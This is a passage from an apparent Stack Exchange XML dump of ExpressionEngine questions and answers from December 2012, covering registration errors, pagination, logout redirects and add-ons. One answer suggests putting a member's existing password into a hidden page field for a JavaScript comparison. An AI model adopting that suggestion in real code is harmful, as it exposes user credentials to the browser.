redirect).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-27T23:07:04.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2122" PostTypeId="2" ParentId="2113" CreationDate="2012-12-27T23:51:49.040" Score="0" Body="&lt;p&gt;I found the solution and It was not a problem with my global variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my config line was wrong and the rest of the code was not executed so I couldn't use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is back to normal, thanks you again.&lt;/p&gt;&#xA;" OwnerUserId="665" LastActivityDate="2012-12-27T23:51:49.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2123" PostTypeId="1" AcceptedAnswerId="2136" CreationDate="2012-12-28T02:22:35.050" Score="2" ViewCount="211" Body="&lt;p&gt;I am trying to use Safecracker Registration to register but upon submit I get this error,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;&#xA;Error Number: 1054&#xA;&#xA;Unknown column 'ip_address' in 'where clause'&#xA;&#xA;SELECT COUNT(*) AS count FROM exp_security_hashes WHERE hash='56bdf8c4561f360c63ed39ad076b03f4047066f3' AND ip_address = '120.28.235.198' AND ip_address = '120.28.235.198' AND date &amp;gt; UNIX_TIMESTAMP()-7200&#xA;&#xA;Filename: third_party/safecracker_registration/libraries/Safecracker_registration_lib.php&#xA;&#xA;Line Number: 459&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;    channel=&quot;members&quot;&#xA;    class=&quot;form-horizontal&quot;&#xA;    dynamic_title=&quot;[email]&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    register_member=&quot;yes&quot;&#xA;    return=&quot;/index.php/sign-up/&quot;&#xA;    safecracker_head=&quot;no&quot;&#xA;}&#xA;&#xA;    {if global_errors:count &amp;gt; 0}&#xA;    &amp;lt;div class=&quot;errors group tencol&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;General Errors&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;bullets&quot;&amp;gt;&#xA;        {global_errors}&#xA;            &amp;lt;li&amp;gt;{error}&amp;lt;/li&amp;gt;&#xA;        {/global_errors}&#xA;        &amp;lt;/ul&amp;gt;   &#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if field_errors:count &amp;gt; 0}&#xA;    &amp;lt;div class=&quot;errors group tencol&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Form Errors&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;bullets&quot;&amp;gt;&#xA;        {field_errors}&#xA;            &amp;lt;li&amp;gt;{error}&amp;lt;/li&amp;gt;&#xA;        {/field_errors}&#xA;        &amp;lt;/ul&amp;gt;   &#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Sign Up&amp;lt;/legend&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:email != ''}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;email&quot;&amp;gt;E-mail&amp;lt;sup class=&quot;required&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; id=&quot;email&quot;&amp;gt;&#xA;                {if error:email != ''}&#xA;                    &amp;lt;span class=&quot;help-inline&quot;&amp;gt;{error:email}&amp;lt;/span&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:password != ''}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;password&quot;&amp;gt;Password&amp;lt;sup class=&quot;required&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot;&amp;gt;&#xA;                {if error:password != ''}&#xA;                    &amp;lt;span class=&quot;help-inline&quot;&amp;gt;{error:password}&amp;lt;/span&amp;gt;&#xA;                {/if}               &#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:password_confirm != ''}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;password_confirm&quot;&amp;gt;Password Confirmation&amp;lt;sup class=&quot;required&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; id=&quot;password_confirm&quot;&amp;gt;&#xA;                {if error:password_confirm != ''}&#xA;                    &amp;lt;span class=&quot;help-inline&quot;&amp;gt;{error:password_confirm}&amp;lt;/span&amp;gt;&#xA;                {/if}               &#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Register&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I am using ExpressionEngine 2.5.5 and Safecracker Registration 1.2.0&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="28" LastEditDate="2013-01-05T03:36:06.717" LastActivityDate="2013-01-05T03:36:06.717" Title="Safecracker Registration Database Error" Tags="|safecracker-registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2124" PostTypeId="2" ParentId="2114" CreationDate="2012-12-28T03:19:51.100" Score="4" Body="&lt;p&gt;Another option would be to avoid using embedded styles and add a class to your body tag based on what page is loaded. Then you can adjust your body background in your stylesheet instead of the templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like vfalconi said, you can often base this off the index not having a segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body{if segment_1} class=&quot;subpage&quot;{/if}&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your stylesheet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.subpage { your styles here... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-12-28T03:19:51.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2125" PostTypeId="2" ParentId="1995" CreationDate="2012-12-28T03:46:21.813" Score="1" Body="&lt;p&gt;I think a &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/192/custom-plugins-vs-query-tags-advantages-and-implementation&quot;&gt;custom query in a simple plugin&lt;/a&gt; would be the most straightforward approach. However, it may be possible using just a template without a custom query if you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ran an entries loop that allowed future entries, ultimately returning more than you needed &lt;/li&gt;&#xA;&lt;li&gt;Added those entries you wanted (filtered by channel short name and date conditionals) to &lt;a href=&quot;https://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stash&lt;/a&gt;'s set_list tag&lt;/li&gt;&#xA;&lt;li&gt;Used Stash's get_list tag to display the results, specifying your overall limit there&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-12-28T03:46:21.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2126" PostTypeId="1" AcceptedAnswerId="2130" CreationDate="2012-12-28T04:17:37.327" Score="0" ViewCount="338" Body="&lt;p&gt;I need to provide my members the ability to change their email address and password and delete their member account. I'm using SafeCracker. How do I do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Allow users to enter a new email address, but that address will only become effective once the user has verified the new email address (meaning they need to go to their inbox and click a link)&lt;/li&gt;&#xA;&lt;li&gt;Change the current password. Just in case, I also don't want the users to have to enter their existing password. As a matter of fact, I would prefer if they just entered the new password without having to confirm it. (I won't be using password input type.)&lt;/li&gt;&#xA;&lt;li&gt;Delete member account, which will delete some Channel entries, but not all&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-28T10:59:41.483" Title="SafeCracker: change email address, change password, delete member account" Tags="|members|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2127" PostTypeId="1" AcceptedAnswerId="2143" CreationDate="2012-12-28T09:26:50.937" Score="5" ViewCount="2365" Body="&lt;p&gt;I have put a logout link on my site. When I click it, I am logged out and redirected to the homepage. How do I specify a different page to redirect to?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2019-04-26T12:47:18.793" Title="path=logout - how to configure URL it redirects to?" Tags="|members|global-variables|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2128" PostTypeId="2" ParentId="2126" CreationDate="2012-12-28T09:28:43.993" Score="0" Body="&lt;p&gt;The functionality you ask is very specific and&lt;br&gt;&#xA;quite far of from the default behavior of EE or any member add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to achieve this you will probably need a custom add-on.&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2012-12-28T10:22:47.777" LastActivityDate="2012-12-28T10:22:47.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2129" PostTypeId="2" ParentId="2127" CreationDate="2012-12-28T09:52:01.403" Score="3" Body="&lt;p&gt;I use a add-on for member management on the front-end called FreeMember. This add-on offers a more fine grained control for member management using regular templates. (including return url after logout).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/freemember&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2012-12-28T09:52:01.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2130" PostTypeId="2" ParentId="2126" CreationDate="2012-12-28T10:59:41.483" Score="2" Body="&lt;p&gt;For a custom plugin, you would probably want to build a module that has its own tables to manage elements 'outside' the normal ee processes. For the first element listed above:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Allow users to enter a new email address, but that address will only become effective once the user has verified the new email address (meaning they need to go to their inbox and click a link)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What I would do on a custom module is have a member lookup by logged&#xA;in member id, pulling out their current email address.  &lt;/li&gt;&#xA;&lt;li&gt;The form submission would send to a template that saves the current email and&#xA;new email to a temporary email table.&lt;/li&gt;&#xA;&lt;li&gt;This would then fire off a custom email to the new address via postmaster.&lt;/li&gt;&#xA;&lt;li&gt;On receipt of the new email, the user would click the link which opens a new template and a custom tag generated by your mod file. &lt;/li&gt;&#xA;&lt;li&gt;This tag checks the same table as above, looks for both the old and new. If verified the mod does a lookup of the existing member id and them replaces old with new and removes the record from your temp db table. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A couple of things you would need to look for would be what happens if:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They don't click the link, but want to use their new email, what happens? or...&lt;/li&gt;&#xA;&lt;li&gt;When they do click the link, it should probably redirect them to a login of some sort (assuming they aren't logged in and login by email is your preferred method. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the second element:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Change the current password. Just in case, I also don't want the users to have to enter their existing password. As a matter of fact, I would prefer if they just entered the new password without having to confirm it. (I won't be using password input type.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could do a lookup of the existing pass and place it into a hidden div or field and throw a little javascript verification to make sure the new pass != the old pass. Not sure you can submit this without a confirmation field, but haven't tried it before either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the last bit:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Delete member account, which will delete some Channel entries, but not all&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, some sort of custom module with tags would sort this, but the key would be to make sure the person deleting their account is the actual person, so tied to their logged in member id, and loads of 'are you sure?' messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom mod would remove the member account from member tables, making sure to kill anything related in the EE structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, whatever channel entries required removing would need to be looked at, because field types might be more complicated to kill than others (playa or relationships or channel images have a few tables linked). You need to make sure comments, if used, are not linked and you don't end up with orphaned entries in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the key is to define which needs to be removed and go through it methodically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-28T10:59:41.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2131" PostTypeId="2" ParentId="2127" CreationDate="2012-12-28T11:14:11.273" Score="2" Body="&lt;p&gt;Another option, besides &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt; is &lt;a href=&quot;http://devot-ee.com/add-ons/login-redirect&quot; rel=&quot;nofollow&quot;&gt;LogIn Redirect&lt;/a&gt;. Generally speaking, the standard login/logout doesn't offer you much leeway in modifying redirects, but either of these plugins (and others) aim to improve that experience. &lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-28T11:14:11.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2132" PostTypeId="1" CreationDate="2012-12-28T11:17:48.577" Score="3" ViewCount="1375" Body="&lt;p&gt;I have my pages setup in Structure in a channel called Products (&lt;a href=&quot;https://i.stack.imgur.com/kD8Io.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;screenshot&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm viewing the listing of products at a URL that looks like:&#xA;&lt;strong&gt;domain.com/nl/rental-shop/producten/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click 'next page' the pagination active link changes, P10, P20 etc get appended to URL but the entries don't change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ol&amp;gt;&#xA;    {exp:channel:entries channel=&quot;product&quot; entry_id=&quot;{structure:child_ids}&quot; fixed_order=&quot;{structure:child_ids}&quot; disable=&quot;categories|category_fields|member_data|trackbacks&quot; paginate_base=&quot;/{segment_1}/{segment_2}/&quot; paginate=&quot;bottom&quot; cache=&quot;yes&quot; refresh=&quot;60&quot; dynamic=&quot;yes&quot; limit=&quot;10&quot;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;&#xA;    {paginate}&#xA;    &amp;lt;li&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/li&amp;gt;&#xA;    {/paginate}&#xA;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why this might not be working?&lt;/p&gt;&#xA;" OwnerUserId="679" LastEditorUserId="268" LastEditDate="2012-12-29T01:04:13.667" LastActivityDate="2015-08-21T07:54:08.057" Title="Pagination not working for structure pages" Tags="|add-on|channel-entries|structure|pagination|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2133" PostTypeId="1" AcceptedAnswerId="2134" CreationDate="2012-12-28T12:08:08.380" Score="0" ViewCount="725" Body="&lt;p&gt;RE: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1823/pagination-outside-of-channel-entries-tag&quot;&gt;Pagination outside of channel entries tag?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this really the best way to place the pagination links outside the Channel entries tag? It seems ugly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And out of curiosity: is there a benefit to putting paginate inside the Channel entries tag? I'm wondering why EE was designed this way.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to control what is added to the URL segment? Say I wanted to change &quot;P1&quot;, &quot;P2&quot;, etc. to something else? What if I wanted it to be query string? I will paginating through search results and would like the GET param values in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying the Stash solution, I did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Inside the tag pair&#xA;{exp:stash:set name=&quot;pagination&quot;} &#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the later on in the same Stash template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;pagination&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This approach results in two things that I do not want:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The pagination still shows inside the tag pair&lt;/li&gt;&#xA;&lt;li&gt;The pagination does not show outside the tag pair&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solved my Stash problem: &lt;a href=&quot;https://gist.github.com/1206694&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/1206694&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-12-28T14:33:13.270" Title="Pagination outside of channel entries tag? Part 2" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2134" PostTypeId="2" ParentId="2133" CreationDate="2012-12-28T12:13:41.213" Score="1" Body="&lt;p&gt;That's one way of doing it. You could also output the entire pagination-tag to &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;&#xA;and then output it in the template somewhere else (see the examples @ &lt;a href=&quot;https://github.com/croxton/Stash/tree/master&quot; rel=&quot;nofollow&quot;&gt;Github&lt;/a&gt;). &lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2012-12-28T12:13:41.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2135" PostTypeId="2" ParentId="2133" CreationDate="2012-12-28T13:32:47.127" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this really the best way to place the pagination links outside the&#xA;  Channel entries tag? It seems ugly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;IMHO, it is indeed the best way. Plus, it's always a good idea to use the &lt;code&gt;{if count == &quot;1&quot;}&lt;/code&gt; and &lt;code&gt;{if count == total_results}&lt;/code&gt; conditionals because it keeps all of your template code that relates to a particular query self-contained.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(And out of curiosity: is there a benefit to putting paginate inside&#xA;  the Channel entries tag? I'm wondering why EE was designed this way.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because EE is much more than just the Channel Entries tag (i.e., other modules may well use the same URL-indicator for pagination), and you can have multiple Channel Entries tags within a single template. There would be no way for EE to know what it was paginating if the pagination code wasn't within the loop.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, is there a way to control what is added to the URL segment? Say&#xA;  I wanted to change &quot;P1&quot;, &quot;P2&quot;, etc. to something else? What if I&#xA;  wanted it to be query string?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In a word, no - not with the Channel or Search modules. You could use a third-party search module that does keep search and pagination information in the URL though (like &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;Super Search&lt;/a&gt; or &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note - remember that the first-party modules that come with EE are not frameworks - they are complete modules, designed to work a certain way. Some of them may provide many hooks to alter their behaviour, but they should, for the most part, be used as designed.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-28T13:32:47.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2136" PostTypeId="2" ParentId="2123" CreationDate="2012-12-28T15:53:33.730" Score="6" Body="&lt;p&gt;This is a bug with SafeCracker Registration. EE recently dropped the ip_address field from the security_hashes database and this add-on still acts as if it's there. Try upgrading to the latest version of SafeCracker Registration or contact the developer to make sure they know and can put out a fix.&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2012-12-28T15:53:33.730" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2137" PostTypeId="1" AcceptedAnswerId="2139" CreationDate="2012-12-28T16:07:52.723" Score="2" ViewCount="72" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://devot-ee.com/add-ons/editor&quot; rel=&quot;nofollow&quot;&gt;Editor&lt;/a&gt; WYSIWYG add-on so that I can have WYSIWYG support in the category description editor. This has been working fine until the following issue arose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the category description is left in a way that appears empty, it actually outputs the following &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; which is bad for three reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is not XHTML compliant (the &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; should be &lt;code&gt;&amp;lt;br/&amp;gt;&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;There is no sense for there to be an &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; element in the first place... it should be blank. Sure I can understand the empty &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; element but why the other?&lt;/li&gt;&#xA;&lt;li&gt;The following template logic fails to work (primary concern):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if category_description}&#xA;&amp;lt;div class=&quot;category-description&quot;&amp;gt;{category_description}&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I prevent the Editor add-on from generating junk for when an empty description is specified? or alternatively how can I safely determine when the description is empty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I do not trust using &lt;code&gt;{if category_description != '&amp;lt;p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/p&amp;gt;'}&lt;/code&gt; for a number of reasons. a) browser compatibility, b) varying results for empty category description, c) it's too hacky&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-28T16:56:48.973" Title="Difficulty with whitespace and Editor add-on" Tags="|add-on|templates|categories|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2138" PostTypeId="1" AcceptedAnswerId="2140" CreationDate="2012-12-28T16:33:40.787" Score="2" ViewCount="577" Body="&lt;p&gt;What do you recommend for implementing EE member sign-on support using Facebook and Twitter accounts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are having a lot of trouble with our CAPTCHAs with EE comments and so we are considering dumping the captcha and just requiring an account to be able to comment. In order to make it a little more open though, we'd like to let people use their Twitter or Facebook log-in to sign-in. Someone has recommended &lt;a href=&quot;http://devot-ee.com/add-ons/social-login-pro&quot; rel=&quot;nofollow&quot;&gt;Social Login Pro&lt;/a&gt;, but are there other add-ons that are recommended or are we better off implementing our own solution using the Twitter and Facebook APIs?&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="19" LastEditDate="2013-01-18T12:29:33.597" LastActivityDate="2013-01-18T12:29:33.597" Title="Twitter and Facebook login support in EE" Tags="|members|accounts|comments|single-sign-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2139" PostTypeId="2" ParentId="2137" CreationDate="2012-12-28T16:56:48.973" Score="1" Body="&lt;p&gt;For the time being I have created the following plugin to workaround this issue. I am still interested in a proper solution (if there is one) though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function excl_empty_html() {&#xA;    $this-&amp;gt;EE = &amp;amp;get_instance();&#xA;&#xA;    // If content is empty then waste no further time&#xA;    $content = trim($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('content'));&#xA;    if ($content == '')&#xA;        return '';&#xA;&#xA;    // Strip HTML tags and trim to determine if there is any physical content.&#xA;    if (trim(strip_tags($content)) == '')&#xA;        return '';&#xA;&#xA;    // Finally parse output&#xA;    $variables[] = array(&#xA;        'content' =&amp;gt; $content&#xA;    );&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $variables);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:yourplugin:excl_empty_html content=&quot;{category_description}&quot;}&#xA;    &amp;lt;div class=&quot;category-description&quot;&amp;gt;{content}&amp;lt;/div&amp;gt;&#xA;{/exp:yourplugin:excl_empty_html}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-28T16:56:48.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2140" PostTypeId="2" ParentId="2138" CreationDate="2012-12-28T17:02:56.780" Score="4" Body="&lt;p&gt;What about &lt;a href=&quot;http://disqus.com&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt;? Personally, I prefer sites that use Disqus for commenting than Facebook comments. Of course, that's not the entirety of your question. In terms of an easy-to-use sign-on. &lt;a href=&quot;http://devot-ee.com/add-ons/social-login-pro&quot; rel=&quot;nofollow&quot;&gt;Social Login Pro&lt;/a&gt; seems to be the way to go, if you want people to be able to choose, which account they want to sign-in for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like that it allows Google and Twitter, but haven't used it on a client project yet. I have used Solspace's &lt;a href=&quot;http://www.solspace.com/software/detail/facebook_connect/&quot; rel=&quot;nofollow&quot;&gt;Facebook Connect&lt;/a&gt; and thought that was very good, but it's all about Facebook (which worked for the project I used it on). I have it queued up for a new project, so I'm interested in seeing what's new in version 2.x of the add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking though, if you want Social Media login, I think Social Login Pro is probably the way to go. But I'd still consider switching to Disqus for comments.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="19" LastEditDate="2013-01-18T08:06:50.223" LastActivityDate="2013-01-18T08:06:50.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2141" PostTypeId="2" ParentId="2091" CreationDate="2012-12-28T19:40:56.087" Score="6" Body="&lt;p&gt;So it was an issue with CE-Image and the paths it uses to find images. Since we moved directories it was looking for some images in the old location and the rest in the current which is why the fact that some worked was somewhat perplexing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added this config setting to our bootstrap and we are looking good. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_src_regex'] = array( $images_url . '/' =&amp;gt; $images_path . '/' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastActivityDate="2012-12-28T19:40:56.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
